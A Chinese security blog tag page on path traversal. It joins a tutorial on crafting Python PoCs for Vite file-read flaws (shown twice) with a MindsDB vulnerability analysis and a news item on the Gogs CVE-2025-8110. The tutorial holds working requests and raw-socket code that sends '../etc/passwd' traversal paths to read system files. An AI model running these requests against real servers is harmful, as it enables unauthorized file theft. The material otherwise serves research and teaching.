标签 路径遍历 下的文章

一 正常发包

刚好最近有个热门的漏洞Vite系列的漏洞,通过该漏洞我们来学习一下
通过我们用python写POC的时候,我们大部分都是利用python的request的模块来进行发包利用的
正常情况下都是这样写的POC

 response = requests.get(url_base + "/@fs/root/vite-project/?/../../../../../etc/passwd?import&?raw", proxies=proxies,verify=False,headers=headers)

其中我们的路径要是比较正常的时候我们通过request模块发包的时候,我们就是能够正常把这个路径发出去的,我们通过bp抓包验证一下

1698X670/image.png

可以看到bp抓到的路径和我们想发出去的路径是一样的,接下来我们假设我们需要发送的路径是这样的

    response = requests.get(url_base + "/../../../../../etc/passwd?import&?raw", proxies=proxies,verify=False,headers=headers)

再次使用request模块发包的时候,用bp抓包看下

1701X696/image.png


二 进阶发包技巧

我们在bp中抓到的包的路径就是变成了"/etc/passwd?import&?raw","/../../"在requests中会被吞噬掉,导致我们无法完成利用,这也是在写POC中经常不注意到的一个点,明明手工利用的是时候可以利用,怎么写脚本的时候不行呢,这种时候就可以bp抓包看看想要发送的数据包是不是跟抓到的一样啦。像这种利用的路径,我们还是得用python来实现时怎么实现呢,干货来了

    check_url=url_base + "/../../../../../etc/passwd"
    s = requests.Session()
    r = requests.Request(method='GET', url=check_url)
    prep = r.prepare()
    prep.url = check_url
    result = s.send(prep, verify=False, timeout=10,)
    print result.text

注意别使用bp代理抓包,经过bp后发送出去的包也是会被吞噬掉“/../../",我们直接通过wireshark捕获流量验证一下

1660X603/image.png

可以看到wireshark发包是能正常刚才的方法把这个路径发送出去的"/../../../../../etc/passwd"

而正常的request模块发包模块则变成了"/etc/passwd?import&?raw"

三 高阶发包技巧

接下来我们来看这个漏洞Vite 文件读取漏洞(CVE-2025-32395)
看官方的POC是这种形式的


"/@fs/root/vite-project/#/../../../../../etc/passwd"

路径中带了#,我们用刚才的两种方式发包测试一下

    方式1:
    lin_response = requests.get(url_base + "/@fs/root/vite-project/#/../../../../../etc/passwd", proxies=proxies,verify=False,headers=headers)
    方式2:
    check_url=url_base + "/@fs/root/vite-project/#/../../../../../etc/passwd"
    s = requests.session()
    r = requests.Request(method='GET', url=check_url)
    prep = r.prepare()
    prep.url = check_url
    result = s.send(prep, verify=False, timeout=10,proxies=proxies)
    print result.text

通过bp代理和wireshark抓包看下,抓到的包的路径都变成了/@fs/root/vite-project,"/#/../../../../../etc/passwd"这个路径都丢失了,这是因为根据 RFC 3986 标准,# 在 URL 中定义为 片段标识符(Fragment),浏览器和 HTTP 客户端库(如 requests)会默认将其后的内容截断,不会发送到服务端,这意味着:若 # 不编码,其后的路径永远无法到达服务端。所以这个无法通过requests相关脚本来实现

876X655/image.png

2140X373/image.png

接下来就得使用我们的最后一个终极大法了,绕过 HTTP 协议限制,使用原始 Socket 控制:直接通过 socket 库发送字节流,避免高级 HTTP 库(如 urllib2 或 requests)自动处理 #

通过wireshark抓包,看下我们的路径已经完整发出去了,服务器也能完成处理

2401X357/image.png

通过回显,我们也能看到漏洞能完成利用

1288X432/image.png

关键代码如下

    import socket
    from urlparse import urlsplit
    parsed_url = urlsplit(url_base)
    netloc = parsed_url.netloc
    paths = ["/@fs/root/vite-project/#/../../../../../etc/passwd"]
    if ':' in netloc:
        host, port = netloc.split(':', 1)
        port = int(port)
    else:
        host = netloc
        # 根据协议设置默认端口
        if parsed_url.scheme == 'http':
            port = 80
        elif parsed_url.scheme == 'https':
            port = 443
        else:
            port = None
    for path in paths:
        request = (
            "GET {path} HTTP/1.1\r\n"
            "Host: {host}:{port}\r\n"
            "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\r\n"
            "Connection: close\r\n"
            "\r\n"
        ).format(path=path, host=host,port=port)
        # 发送请求
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.sendall(request.encode())
        # 接收响应
        response = s.recv(4096)
        if "root:x" in response.decode():
            print url_base,path,response.decode()

四 后言

各位还有什么技巧可以分享交流一下的么,大家一起共同进步

MindsDB 未授权任意文件读取漏洞详细分析 前言 可能分析组件多了吧,都准备下播了,看到 360 又发了一个 AI 数据库的漏洞

漏洞描述 MindsDB 是一个基于企业数据构建人工智能的平台。在 25.11.1 版本之前,文件上传 API 中的非认证路径遍历允许任何调用者从服务器文件系统读取任意文件并将其移入 MindsDB 存储,从而暴露敏感数据。file.py 中的 PUT 处理程序会直接将用户控制的数据加入文件系统路径,当请求主体是 JSON 且 source_type 不是“url”时。只有多部分上传和基于 URL 的上传会被净化;JSON 上传没有调用 clear_filename 或等效检查。该漏洞在 25.11.1 中修复。 环境搭建

git clone --depth 1 --branch v25.11.0 https://github.com/mindsdb/mindsdb.git vulnerable-25.11.0

搭建成功 漏洞复现 首先模拟创建一个敏感文件

然后我们开始目录穿越

看到回显,证明穿越的路径不够

现在成功把文件内容写进数据库了,然后就是读取的问题了 我们通过 sql 查询,把内容查出来 /api/files/aaa 路由后面的 aaa,就是我们的文件名称

成功读取到了文件内容

漏洞分析 文件上传 当然第一个查看的就是 file 文件 注意,这个文件我们可以分为两个部分分析,其中有两种文件上传,一个是 Multipart 格式,但是对路径穿越是有检查的

但是为什么还是漏洞呢?我们看到全部代码

这里可以看到,如果是 json 格式,也就是我们漏洞复现的 payload 模式,没有检查可以直接绕过 文件读取部分

文件读取后直接把内容移动到 MindsDB 中存储,所以我们读取文件,可以直接从数据库查询文件内容 绝对路径读取 但是我后来发现,都不需要目录穿越,直接绝对路径就可以成功,其实还是因为一个漏洞

我们写一个例子代码,就明白了

可以看到当我的第二个路径是绝对路径的时候,直接被覆盖掉了 所以我们完全可以绝对路径去读取信息 尝试一手再说

完全没有问题

一键利用脚本 注意,只能在本地环境复现,因为,每次读取文件后,都会把原文件删除,所以请在虚拟机复现或者创建临时文件

漏洞修复 修复方案 file.py 第 214 行之前添加路径验证:

参考资料

资源
链接
GitHub Advisory
MindsDB Release
MindsDB Repository

免责声明 本报告仅供安全研究和教育目的使用。所有测试均在授权环境中进行。 请勿将本文提供的信息用于任何非法目的 本文所述漏洞利用方法仅用于帮助理解和修复安全漏洞 使用本文信息造成的任何后果,由使用者自行承担

一 正常发包

刚好最近有个热门的漏洞Vite系列的漏洞,通过该漏洞我们来学习一下
通过我们用python写POC的时候,我们大部分都是利用python的request的模块来进行发包利用的
正常情况下都是这样写的POC

 response = requests.get(url_base + "/@fs/root/vite-project/?/../../../../../etc/passwd?import&?raw", proxies=proxies,verify=False,headers=headers)

其中我们的路径要是比较正常的时候我们通过request模块发包的时候,我们就是能够正常把这个路径发出去的,我们通过bp抓包验证一下

1698X670/image.png

可以看到bp抓到的路径和我们想发出去的路径是一样的,接下来我们假设我们需要发送的路径是这样的

    response = requests.get(url_base + "/../../../../../etc/passwd?import&?raw", proxies=proxies,verify=False,headers=headers)

再次使用request模块发包的时候,用bp抓包看下

1701X696/image.png


二 进阶发包技巧

我们在bp中抓到的包的路径就是变成了"/etc/passwd?import&?raw","/../../"在requests中会被吞噬掉,导致我们无法完成利用,这也是在写POC中经常不注意到的一个点,明明手工利用的是时候可以利用,怎么写脚本的时候不行呢,这种时候就可以bp抓包看看想要发送的数据包是不是跟抓到的一样啦。像这种利用的路径,我们还是得用python来实现时怎么实现呢,干货来了

    check_url=url_base + "/../../../../../etc/passwd"
    s = requests.Session()
    r = requests.Request(method='GET', url=check_url)
    prep = r.prepare()
    prep.url = check_url
    result = s.send(prep, verify=False, timeout=10,)
    print result.text

注意别使用bp代理抓包,经过bp后发送出去的包也是会被吞噬掉“/../../",我们直接通过wireshark捕获流量验证一下

1660X603/image.png

可以看到wireshark发包是能正常刚才的方法把这个路径发送出去的"/../../../../../etc/passwd"

而正常的request模块发包模块则变成了"/etc/passwd?import&?raw"

三 高阶发包技巧

接下来我们来看这个漏洞Vite 文件读取漏洞(CVE-2025-32395)
看官方的POC是这种形式的


"/@fs/root/vite-project/#/../../../../../etc/passwd"

路径中带了#,我们用刚才的两种方式发包测试一下

    方式1:
    lin_response = requests.get(url_base + "/@fs/root/vite-project/#/../../../../../etc/passwd", proxies=proxies,verify=False,headers=headers)
    方式2:
    check_url=url_base + "/@fs/root/vite-project/#/../../../../../etc/passwd"
    s = requests.session()
    r = requests.Request(method='GET', url=check_url)
    prep = r.prepare()
    prep.url = check_url
    result = s.send(prep, verify=False, timeout=10,proxies=proxies)
    print result.text

通过bp代理和wireshark抓包看下,抓到的包的路径都变成了/@fs/root/vite-project,"/#/../../../../../etc/passwd"这个路径都丢失了,这是因为根据 RFC 3986 标准,# 在 URL 中定义为 片段标识符(Fragment),浏览器和 HTTP 客户端库(如 requests)会默认将其后的内容截断,不会发送到服务端,这意味着:若 # 不编码,其后的路径永远无法到达服务端。所以这个无法通过requests相关脚本来实现

876X655/image.png

2140X373/image.png

接下来就得使用我们的最后一个终极大法了,绕过 HTTP 协议限制,使用原始 Socket 控制:直接通过 socket 库发送字节流,避免高级 HTTP 库(如 urllib2 或 requests)自动处理 #

通过wireshark抓包,看下我们的路径已经完整发出去了,服务器也能完成处理

2401X357/image.png

通过回显,我们也能看到漏洞能完成利用

1288X432/image.png

关键代码如下

    import socket
    from urlparse import urlsplit
    parsed_url = urlsplit(url_base)
    netloc = parsed_url.netloc
    paths = ["/@fs/root/vite-project/#/../../../../../etc/passwd"]
    if ':' in netloc:
        host, port = netloc.split(':', 1)
        port = int(port)
    else:
        host = netloc
        # 根据协议设置默认端口
        if parsed_url.scheme == 'http':
            port = 80
        elif parsed_url.scheme == 'https':
            port = 443
        else:
            port = None
    for path in paths:
        request = (
            "GET {path} HTTP/1.1\r\n"
            "Host: {host}:{port}\r\n"
            "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\r\n"
            "Connection: close\r\n"
            "\r\n"
        ).format(path=path, host=host,port=port)
        # 发送请求
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.sendall(request.encode())
        # 接收响应
        response = s.recv(4096)
        if "root:x" in response.decode():
            print url_base,path,response.decode()

四 后言

各位还有什么技巧可以分享交流一下的么,大家一起共同进步

美国网络安全与基础设施安全局(CISA)已就一个影响Gogs的高危安全漏洞发出活跃利用警告,并将其添加至已知遭利用漏洞(KEV)目录。

该漏洞编号为CVE-2025-8110(CVSS评分:8.7),涉及仓库文件编辑器中的路径遍历问题,可能导致代码执行。

CISA在公告中表示:“Gogs路径遍历漏洞:Gogs存在一个路径遍历漏洞,影响PutContents API中符号链接的不当处理,可能允许代码执行。”

该缺陷的细节于上月曝光,当时Wiz称发现其已在零日攻击中被利用。该漏洞本质上绕过了为CVE-2024-55947设置的保护措施,通过创建git仓库、提交指向敏感目标的符号链接,并利用PutContents API向该符号链接写入数据,从而实现代码执行。

这进而导致底层操作系统跳转到符号链接指向的实际文件,并覆盖仓库外的目标文件。攻击者可利用此行为覆盖Git配置文件(特别是sshCommand设置),从而获取代码执行权限。

Wiz表示已识别出700个遭入侵的Gogs实例。根据攻击面管理平台Censys的数据,目前约有1,600台暴露于互联网的Gogs服务器,其中大部分位于中国(991台)、美国(146台)、德国(98台)、香港(56台)和俄罗斯(49台)。

目前尚无针对CVE-2025-8110的补丁,但GitHub上的拉取请求显示已进行必要的代码更改。项目维护者之一上周表示:“一旦主分支完成镜像构建,gogs/gogs:latest和gogs/gogs:next-latest镜像都将修复此CVE。”

在修复方案发布前,建议Gogs用户禁用默认的开放注册设置,并通过VPN或允许列表限制服务器访问。联邦民事行政部门(FCEB)机构需在2026年2月2日前实施必要的缓解措施。

觉得这篇文章有趣?请关注我们的Google News、Twitter和LinkedIn,阅读更多独家内容。